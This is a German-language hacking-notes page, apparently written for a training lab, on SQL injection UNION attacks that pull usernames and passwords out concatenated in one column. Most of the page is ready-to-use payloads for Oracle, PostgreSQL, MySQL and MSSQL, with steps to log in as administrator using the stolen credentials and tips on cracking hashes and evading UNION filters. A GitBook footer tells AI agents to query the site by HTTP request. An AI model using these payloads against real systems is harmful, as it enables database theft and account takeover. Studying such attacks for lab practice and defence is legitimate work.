> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# UNION-Angriff zum Extrahieren mehrerer Werte in einer Spalte

### SQL-Injection-UNION-Angriff, mehrere Werte in einer einzelnen Spalte abrufen

**Ziel:** wiederherstellen `Benutzernamen` und `Passwort` in einer einzelnen Spalte zusammengefügt und dann in `Administrator`.

#### (1) Schnelle Voraussetzungen

* Kenne die **Anzahl der Spalten** von der Abfrage zurückgegeben wird (siehe `ORDER BY` / `UNION NULL` Tests).
* Identifizieren Sie, welche Ausgabespalte(n) in der Antwort zurückgegeben werden (sichtbare Konstanten).

#### 2) Beispiel-Payloads (je nach DBMS)

> Passen Sie die Anzahl der Spalten (`NULL`/Konstante), damit sie zur verwundbaren Abfrage passt.

* **Oracle / PostgreSQL (Verkettung mit `||`) — typische Anfrage mit 2 Spalten:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 Spalten:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT oder +) - 2 Spalten:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

oder

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Wenn die ursprüngliche Anfrage 3 Spalten hat (z. B.):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Wenn die Typen inkompatibel sind** (UNION-Fehler): Konvertierung/Casting erzwingen:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Prägnantes Vorgehen

1. Bestimmen `N` Spalten (`ORDER BY 1..N`).
2. Bestätigen `UNION SELECT` durch `NULL`/Konstanten.
3. Injizieren Sie den Verkettungs-Payload, angepasst an das DBMS und die Anzahl der Spalten.
4. Finden Sie die `username:password` Zeilen in der Antwort.
5. Identifizieren Sie den `administrator:...` Eintrag und verwenden Sie diese Zugangsdaten, um sich auf der Authentifizierungsseite anzumelden.

#### 4) Praktische Hinweise

* Wenn Passwörter gehasht sind (z. B. bcrypt), schlägt die direkte Verwendung für den Login fehl; dann müssen Sie das Passwort knacken, sofern erlaubt, oder bestätigen, dass Passwörter im Klartext gespeichert sind (schwerwiegender Sicherheitsvorfall).
* Wenn die Anwendung nur eine Spalte anzeigt, ist Verkettung der richtige Ansatz; wenn sie mehrere Spalten rendert, bevorzugen Sie `UNION SELECT username, password` der Übersichtlichkeit halber.
* Wenn `UNION` gefiltert wird, versuchen Sie Variationen bei Leerzeichen/Kommentaren oder Funktionen (`CONCAT`, `CHR`/`CHAR`) um Filter zu umgehen.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
